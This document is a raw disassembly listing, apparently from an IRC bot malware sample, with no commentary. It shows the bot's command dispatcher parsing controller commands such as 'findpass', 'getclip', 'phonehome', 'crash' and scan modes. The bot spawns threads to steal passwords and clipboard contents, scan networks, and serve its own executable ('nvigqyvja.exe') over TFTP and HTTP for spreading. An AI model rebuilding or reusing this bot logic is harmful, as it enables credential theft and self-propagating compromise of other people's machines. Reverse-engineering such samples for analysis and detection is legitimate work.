jnz loc_404A23
lea eax, [ebp+Dst]
push offset asc_42C830 ; "-"
push eax ; Dest
mov dword_4CEE08, ebx
call _sprintf
pop ecx
pop ecx
loc_4034FE: ; CODE XREF: sub_401ACD+3023j
cmp [ebp+var_8], ebx
jnz loc_409855
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
loc_403520: ; CODE XREF: sub_401ACD+7119j
add esp, 14h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_403528: ; CODE XREF: sub_401ACD+194Dj
push edi ; Str2
push offset aGetclip ; "getclip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F75
push edi ; Str2
push offset aGc ; "gc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F75
push edi ; Str2
push offset aFlusharp ; "flusharp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F5E
push edi ; Str2
push offset aFarp ; "farp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F5E
push edi ; Str2
push offset aFlushdns ; "flushdns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F26
push edi ; Str2
push offset aFdns ; "fdns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403F26
push edi ; Str2
push offset aCurrentip ; "currentip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403EEC
push edi ; Str2
push offset aCip ; "cip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403EEC
push edi ; Str2
push offset aRloginserver ; "rloginserver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403DB1
push edi ; Str2
push offset aRlogin ; "rlogin"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403DB1
push edi ; Str2
push offset aHttpserver ; "httpserver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403C25
push edi ; Str2
push offset aHttp ; "http"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403C25
push edi ; Str2
push offset aTftpserver ; "tftpserver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403AEB
push edi ; Str2
push offset aTftp ; "tftp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403AEB
push edi ; Str2
push offset aCrash ; "crash"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4036B4
lea eax, [ebp+Dst]
push offset asc_42C788 ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403693
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
loc_403693: ; CODE XREF: sub_401ACD+1BA8j
lea eax, [ebp+Dst]
push eax ; Str2
call sub_4151AD
mov [esp+5D98h+var_5D98], offset aCrash ; "crash"
push [ebp+esi+var_7C] ; Str1
call _strcmp
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_4036B4: ; CODE XREF: sub_401ACD+1B90j
push edi ; Str2
push offset aAsc ; "asc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4037E7
push edi ; Str2
push offset aSa ; "sa"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4037E7
push edi ; Str2
push offset aPhonehome ; "phonehome"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_403708
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
jmp loc_401F52
; ---------------------------------------------------------------------------
loc_403708: ; CODE XREF: sub_401ACD+1C20j
push edi ; Str2
push offset aFindpass ; "findpass"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40372E
push edi ; Str2
push offset aFp ; "fp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4034A6
loc_40372E: ; CODE XREF: sub_401ACD+1C4Aj
push [ebp+Format] ; Format
lea eax, [ebp+var_F54]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_F58], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED0], eax
mov eax, [ebp+var_8]
mov [ebp+var_ECC], eax
push offset asc_42C71C ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 26h ; int
push eax ; Source
call sub_40B0F7
add esp, 18h
mov [ebp+var_ED4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F58]
push ebx
push eax
push offset sub_416F1B
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_ED4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4037D6
loc_4037C0: ; CODE XREF: sub_401ACD+1D07j
cmp [ebp+var_EC8], ebx
jnz loc_4083BD
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_4037C0
; ---------------------------------------------------------------------------
loc_4037D6: ; CODE XREF: sub_401ACD+1CF1j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42C6E0
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_4037E7: ; CODE XREF: sub_401ACD+1BF6j
; sub_401ACD+1C0Bj
mov al, byte_431CE2
mov [ebp+Src], ebx
cmp al, bl
mov edx, offset byte_431CE2
jz loc_401E94
mov ecx, edx
loc_4037FE: ; CODE XREF: sub_401ACD+1D39j
inc [ebp+Src]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037FE
cmp al, bl
jz loc_401E94
mov [ebp+arg_18], edx
mov esi, offset aF ; "#f"
loc_403818: ; CODE XREF: sub_401ACD+2009j
push 0Bh
call sub_40B33F
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+Src]
add eax, ecx
cmp eax, 1F4h
jle short loc_403867
push ecx
lea eax, [ebp+Dst]
push offset asc_42C6A0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 20h
jmp loc_403ACD
; ---------------------------------------------------------------------------
loc_403867: ; CODE XREF: sub_401ACD+1D65j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_431B00, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], 320h
mov [ebp+Src], ebx
jz short loc_4038D8
mov edi, offset dword_431B00
loc_40389C: ; CODE XREF: sub_401ACD+1DEDj
mov eax, [ebp+arg_18]
add eax, 0FFFFFFF6h
push eax ; Str2
lea eax, [edi-28h]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_4038BE
inc [ebp+Src]
add edi, 40h
cmp [edi], ebx
jnz short loc_40389C
jmp short loc_4038D8
; ---------------------------------------------------------------------------
loc_4038BE: ; CODE XREF: sub_401ACD+1DE3j
mov eax, [ebp+Src]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_431B00[ecx]
mov [ebp+var_74C], ecx
loc_4038D8: ; CODE XREF: sub_401ACD+1DC8j
; sub_401ACD+1DEFj
cmp [ebp+var_74C], ebx
jz loc_403AE1
push 10h
lea eax, [ebp+var_2D4]
pop edi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], edi
push [ebp+arg_4]
call dword_4CB5F8 ; getsockname
mov al, [ebp+var_8FF]
push edi ; Args
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+Count], eax
push [ebp+Count] ; Count
call dword_4CB6E0 ; inet_ntoa
push eax ; Source
lea eax, [ebp+var_860]
push eax ; Dest
call _strncpy
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h ; Ch
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_860]
push eax ; Str
call _strrchr
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+File+3], bl
jle short loc_403980
loc_40395E: ; CODE XREF: sub_401ACD+1EB1j
cmp eax, ebx
jz short loc_403980
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h ; Ch
push eax ; Str
call _strrchr
inc byte ptr [ebp+File+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+File+3]
cmp ecx, edi
jl short loc_40395E
loc_403980: ; CODE XREF: sub_401ACD+1E8Fj
; sub_401ACD+1E93j
mov eax, [ebp+arg_4]
push [ebp+Format] ; Format
mov [ebp+var_750], eax
mov eax, [ebp+var_4]
mov [ebp+var_728], eax
mov eax, [ebp+var_8]
mov [ebp+var_724], eax
mov edi, 80h
lea eax, [ebp+var_850]
push edi ; Count
push eax ; Dest
mov [ebp+var_720], 1
call __snprintf
push offset byte_43D808 ; Str2
push esi ; Str1
call _strcmp
add esp, 14h
test eax, eax
jz short loc_4039E2
push esi ; Format
lea eax, [ebp+var_7D0]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_4039E8
; ---------------------------------------------------------------------------
loc_4039E2: ; CODE XREF: sub_401ACD+1F00j
mov [ebp+var_7D0], bl
loc_4039E8: ; CODE XREF: sub_401ACD+1F13j
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039FA
mov eax, offset aSequential ; "Sequential"
loc_4039FA: ; CODE XREF: sub_401ACD+1F26j
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42C620 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Bh ; int
push eax ; Source
call sub_40B0F7
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40C33D
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_403A84
loc_403A72: ; CODE XREF: sub_401ACD+1FB5j
cmp [ebp+var_71C], ebx
jnz short loc_403A9F
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_403A72
; ---------------------------------------------------------------------------
loc_403A84: ; CODE XREF: sub_401ACD+1FA3j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dst]
push offset asc_42C5E4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_403A9F: ; CODE XREF: sub_401ACD+1FABj
cmp [ebp+var_8], ebx
jnz short loc_403AC0
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
loc_403AC0: ; CODE XREF: sub_401ACD+1FD5j
lea eax, [ebp+Dst]
push eax
call sub_4151AD
pop ecx
loc_403ACD: ; CODE XREF: sub_401ACD+1D95j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_403818
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_403AE1: ; CODE XREF: sub_401ACD+1E11j
push offset unk_42C5AC
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_403AEB: ; CODE XREF: sub_401ACD+1B66j
; sub_401ACD+1B7Bj
push 5
call sub_40B33F
test eax, eax
pop ecx
jle short loc_403B01
push offset unk_42C58C
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_403B01: ; CODE XREF: sub_401ACD+2028j
mov eax, dword ptr [ebp+esi+Args]
cmp eax, ebx
jz short loc_403B24
push eax ; Format
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_403B38
; ---------------------------------------------------------------------------
loc_403B24: ; CODE XREF: sub_401ACD+203Dj
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
push ebx
call ds:dword_427070 ; GetModuleFileNameA
loc_403B38: ; CODE XREF: sub_401ACD+2055j
mov esi, [ebp+esi+Format]
cmp esi, ebx
jnz short loc_403B48
mov esi, offset Str ; "nvigqyvja.exe"
loc_403B48: ; CODE XREF: sub_401ACD+2074j
push esi ; Format
lea eax, [ebp+var_2C4C]
push edi ; Count
push eax ; Dest
call __snprintf
mov eax, dword_429078
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_2B40], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B44], ebx
mov [ebp+var_2D54], eax
lea eax, [ebp+var_2B3C]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2ABC], eax
mov eax, [ebp+var_8]
mov [ebp+var_2AB8], eax
lea eax, [ebp+var_2D50]
push eax
lea eax, [ebp+Dst]
push [ebp+var_2B40]
push offset asc_42C558 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 5 ; int
push eax ; Source
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_2B48], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D54]
push ebx
push eax
push offset sub_411797
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_2B48]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_403C14
loc_403BFE: ; CODE XREF: sub_401ACD+2145j
cmp [ebp+var_2AB4], ebx
jnz loc_40828C
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_403BFE
; ---------------------------------------------------------------------------
loc_403C14: ; CODE XREF: sub_401ACD+212Fj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42C51C
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_403C25: ; CODE XREF: sub_401ACD+1B3Cj
; sub_401ACD+1B51j
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz short loc_403C44
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_403C44
push edi ; Str
call _atoi
pop ecx
jmp short loc_403C49
; ---------------------------------------------------------------------------
loc_403C44: ; CODE XREF: sub_401ACD+2161j
; sub_401ACD+216Cj
mov eax, dword_42907C
loc_403C49: ; CODE XREF: sub_401ACD+2175j
mov esi, [ebp+esi+Format]
mov [ebp+var_36C8], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B4], eax
jz short loc_403C7C
lea eax, [ebp+var_37CC]
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_403CA7
; ---------------------------------------------------------------------------
loc_403C7C: ; CODE XREF: sub_401ACD+219Cj
lea eax, [ebp+FullPath]
push 104h
push eax
call ds:dword_427074 ; GetSystemDirectoryA
push ebx ; Ext
push ebx ; Filename
lea eax, [ebp+Drive]
push ebx ; Dir
push eax ; Drive
lea eax, [ebp+FullPath]
push eax ; FullPath
call __splitpath
add esp, 14h
loc_403CA7: ; CODE XREF: sub_401ACD+21ADj
lea eax, [ebp+var_37CC]
push eax ; Str
call _strlen
cmp [ebp+eax+var_37CD], 5Ch
pop ecx
jnz short loc_403CD2
lea eax, [ebp+var_37CC]
push eax ; Str
call _strlen
pop ecx
mov [ebp+eax+var_37CD], bl
loc_403CD2: ; CODE XREF: sub_401ACD+21EFj
push [ebp+Format] ; Format
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A54]
mov [ebp+var_3A58], esi
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36B8], eax
lea eax, [ebp+var_37CC]
mov [ebp+var_36BC], edi
push eax
push [ebp+var_36C8]
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42C4E0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 3 ; int
push eax ; Source
call sub_40B0F7
add esp, 20h
mov [ebp+var_36C0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A58]
push ebx
push eax
push offset sub_40F0D6
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_36C0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_403D86
loc_403D74: ; CODE XREF: sub_401ACD+22B7j
cmp [ebp+var_36AC], ebx
jnz short loc_403DA1
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_403D74
; ---------------------------------------------------------------------------
loc_403D86: ; CODE XREF: sub_401ACD+22A5j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset asc_42C4A4 ; "-"
loc_403D92: ; CODE XREF: sub_401ACD+241Aj
; sub_401ACD+4D05j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_403DA1: ; CODE XREF: sub_401ACD+22ADj
; sub_401ACD+23FEj ...
cmp [ebp+var_8], ebx
jnz loc_4083BD
push ebx
push edi
jmp loc_407286
; ---------------------------------------------------------------------------
loc_403DB1: ; CODE XREF: sub_401ACD+1B12j
; sub_401ACD+1B27j
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz short loc_403DD0
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_403DD0
push edi ; Str
call _atoi
pop ecx
jmp short loc_403DD5
; ---------------------------------------------------------------------------
loc_403DD0: ; CODE XREF: sub_401ACD+22EDj
; sub_401ACD+22F8j
mov eax, dword_429080
loc_403DD5: ; CODE XREF: sub_401ACD+2301j
mov [ebp+var_1824], eax
mov eax, [ebp+esi+Format]
cmp eax, ebx
jnz short loc_403DEC
lea eax, [ebp+var_C4]
loc_403DEC: ; CODE XREF: sub_401ACD+2317j
push eax ; Format
lea eax, [ebp+var_1964]
push 40h ; Count
push eax ; Dest
call __snprintf
mov esi, [ebp+esi+Str2]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403E0E
mov esi, offset byte_43D808
loc_403E0E: ; CODE XREF: sub_401ACD+233Aj
push esi ; Format
lea eax, [ebp+var_1924]
push 100h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_19E4]
push [ebp+Format] ; Format
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1810], eax
lea eax, [ebp+var_1964]
push eax
mov [ebp+var_19E8], esi
push [ebp+var_1824]
mov [ebp+var_1814], edi
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42C468 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 9 ; int
push eax ; Source
call sub_40B0F7
add esp, 20h
mov [ebp+var_1820], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19E8]
push ebx
push eax
push offset sub_410A4E
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_1820]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_403EDB
loc_403EC5: ; CODE XREF: sub_401ACD+240Cj
cmp [ebp+var_180C], ebx
jnz loc_403DA1
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_403EC5
; ---------------------------------------------------------------------------
loc_403EDB: ; CODE XREF: sub_401ACD+23F6j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42C42C
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_403EEC: ; CODE XREF: sub_401ACD+1AE8j
; sub_401ACD+1AFDj
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_403EFF
push esi ; Str
call _atoi
jmp short loc_403F06
; ---------------------------------------------------------------------------
loc_403EFF: ; CODE XREF: sub_401ACD+2428j
push 0Bh
call sub_40B35E
loc_403F06: ; CODE XREF: sub_401ACD+2430j
cmp eax, ebx
pop ecx
jz loc_409855
push eax ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40BA57
jmp loc_4043BA
; ---------------------------------------------------------------------------
loc_403F26: ; CODE XREF: sub_401ACD+1ABEj
; sub_401ACD+1AD3j
mov eax, dword_4CB570
cmp eax, ebx
jz short loc_403F43
call eax ; DnsFlushResolverCache
test eax, eax
jz short loc_403F3C
push offset unk_42C408
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F3C: ; CODE XREF: sub_401ACD+2466j
push offset unk_42C3DC
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F43: ; CODE XREF: sub_401ACD+2460j
push offset asc_42C3B0 ; "-"
loc_403F48: ; CODE XREF: sub_401ACD+246Dj
; sub_401ACD+2474j ...
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
jmp loc_406CDC
; ---------------------------------------------------------------------------
loc_403F5E: ; CODE XREF: sub_401ACD+1A94j
; sub_401ACD+1AA9j
call sub_40AB32
test eax, eax
jz short loc_403F6E
push offset unk_42C38C
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F6E: ; CODE XREF: sub_401ACD+2498j
push offset unk_42C360
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F75: ; CODE XREF: sub_401ACD+1A6Aj
; sub_401ACD+1A7Fj
cmp [ebp+var_8], ebx
jnz short loc_403F94
push ebx ; int
push [ebp+var_4] ; int
push offset dword_42C348 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
loc_403F94: ; CODE XREF: sub_401ACD+24ABj
push ebx ; int
push [ebp+var_4] ; int
call sub_4181D7
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
push offset dword_42C32C
jmp loc_404286
; ---------------------------------------------------------------------------
loc_403FB6: ; CODE XREF: sub_401ACD+18FAj
; sub_401ACD+190Fj
push 0Ah
call sub_40B33F
test eax, eax
pop ecx
jle short loc_403FCC
push offset unk_42C300
jmp loc_409602
; ---------------------------------------------------------------------------
loc_403FCC: ; CODE XREF: sub_401ACD+24F3j
push [ebp+Format]
push [ebp+arg_4]
call sub_419C65
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403FEB
push offset unk_42C2D8
jmp loc_409602
; ---------------------------------------------------------------------------
loc_403FEB: ; CODE XREF: sub_401ACD+2512j
push offset unk_42C2B8
jmp loc_409602
; ---------------------------------------------------------------------------
loc_403FF5: ; CODE XREF: sub_401ACD+18D0j
; sub_401ACD+18E5j
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40A7CF
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40400E: ; CODE XREF: sub_401ACD+18A6j
; sub_401ACD+18BBj
push dword ptr [ebp+esi+Args] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_416C29
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40402B: ; CODE XREF: sub_401ACD+187Cj
; sub_401ACD+1891j
or edi, 0FFFFFFFFh
call ds:dword_4270A8 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
mov [ebp+Src], eax
jz short loc_404054
push esi ; Str
call _atoi
pop ecx
mov edi, eax
loc_404054: ; CODE XREF: sub_401ACD+257Cj
mov eax, [ebp+Src]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_40406D
cmp edi, 0FFFFFFFFh
jnz loc_409855
loc_40406D: ; CODE XREF: sub_401ACD+2595j
push ebx
call sub_41A88C
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42C2A0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
lea eax, [ebp+Dst]
push eax
call sub_4151AD
loc_4040AB: ; CODE XREF: sub_401ACD+529Dj
add esp, 24h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_4040B3: ; CODE XREF: sub_401ACD+1852j
; sub_401ACD+1867j
push [ebp+var_4]
push [ebp+Format]
push [ebp+arg_4]
call sub_415A30
add esp, 0Ch
push offset dword_42C280
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_4040D1: ; CODE XREF: sub_401ACD+1828j
; sub_401ACD+183Dj
push 27h
call sub_40B33F
test eax, eax
pop ecx
jle short loc_404105
cmp [ebp+var_8], ebx
jnz loc_401E94
push ebx ; int
push [ebp+var_4] ; int
push offset unk_42C260 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
loc_4040FD: ; CODE XREF: sub_401ACD+7238j
add esp, 14h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_404105: ; CODE XREF: sub_401ACD+260Ej
push [ebp+Format] ; Format
lea eax, [ebp+var_B2C]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
mov esi, dword ptr [ebp+esi+Args]
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_AA0], eax
mov [ebp+var_AA8], ebx
jz short loc_404166
push esi ; Str2
push offset aFull ; "full"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404166
mov [ebp+var_AA8], 1
loc_404166: ; CODE XREF: sub_401ACD+267Cj
; sub_401ACD+268Dj
lea eax, [ebp+Dst]
push offset asc_42C23C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 27h ; int
push eax ; Source
call sub_40B0F7
add esp, 14h
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_4198EC
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4041D4
loc_4041BE: ; CODE XREF: sub_401ACD+2705j
cmp [ebp+var_A9C], ebx
jnz loc_409631
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_4041BE
; ---------------------------------------------------------------------------
loc_4041D4: ; CODE XREF: sub_401ACD+26EFj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dst]
push offset asc_42C200 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_409631
; ---------------------------------------------------------------------------
loc_4041F4: ; CODE XREF: sub_401ACD+17FEj
; sub_401ACD+1813j
cmp [ebp+var_8], ebx
jnz short loc_404213
push ebx ; int
push [ebp+var_4] ; int
push offset dword_42C1E4 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
loc_404213: ; CODE XREF: sub_401ACD+272Aj
push [ebp+arg_4]
call dword_4CB6EC ; closesocket
call dword_4CB5AC ; WSACleanup
call sub_41835A
push ebx
call ds:dword_427064 ; ExitProcess
loc_40422E: ; CODE XREF: sub_401ACD+17D4j
; sub_401ACD+17E9j
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push eax
call sub_41AA43
pop ecx
pop ecx
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
push offset dword_42C1C8
jmp short loc_404286
; ---------------------------------------------------------------------------
loc_404259: ; CODE XREF: sub_401ACD+17AAj
; sub_401ACD+17BFj
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF7
add esp, 0Ch
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
push offset dword_42C1AC
loc_404286: ; CODE XREF: sub_401ACD+24E4j
; sub_401ACD+278Aj
call sub_4151AD
add esp, 18h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_404293: ; CODE XREF: sub_401ACD+1780j
; sub_401ACD+1795j
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_41524D
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_4042AC: ; CODE XREF: sub_401ACD+1756j
; sub_401ACD+176Bj
cmp [ebp+var_C], ebx
mov [ebp+var_1594], bl
jz short loc_4042EB
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_4042EB
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042EB
push eax
push offset aS_6 ; "%s"
lea eax, [ebp+var_1594]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_4042EB: ; CODE XREF: sub_401ACD+27E8j
; sub_401ACD+27F3j ...
push [ebp+Format] ; Format
lea eax, [ebp+var_1614]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1618], eax
mov eax, [ebp+var_4]
mov [ebp+var_1510], eax
mov eax, [ebp+var_8]
mov [ebp+var_150C], eax
lea eax, [ebp+Dst]
push offset asc_42C194 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 25h ; int
push eax ; Source
call sub_40B0F7
add esp, 14h
mov [ebp+var_1514], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1618]
push ebx
push eax
push offset sub_41528E
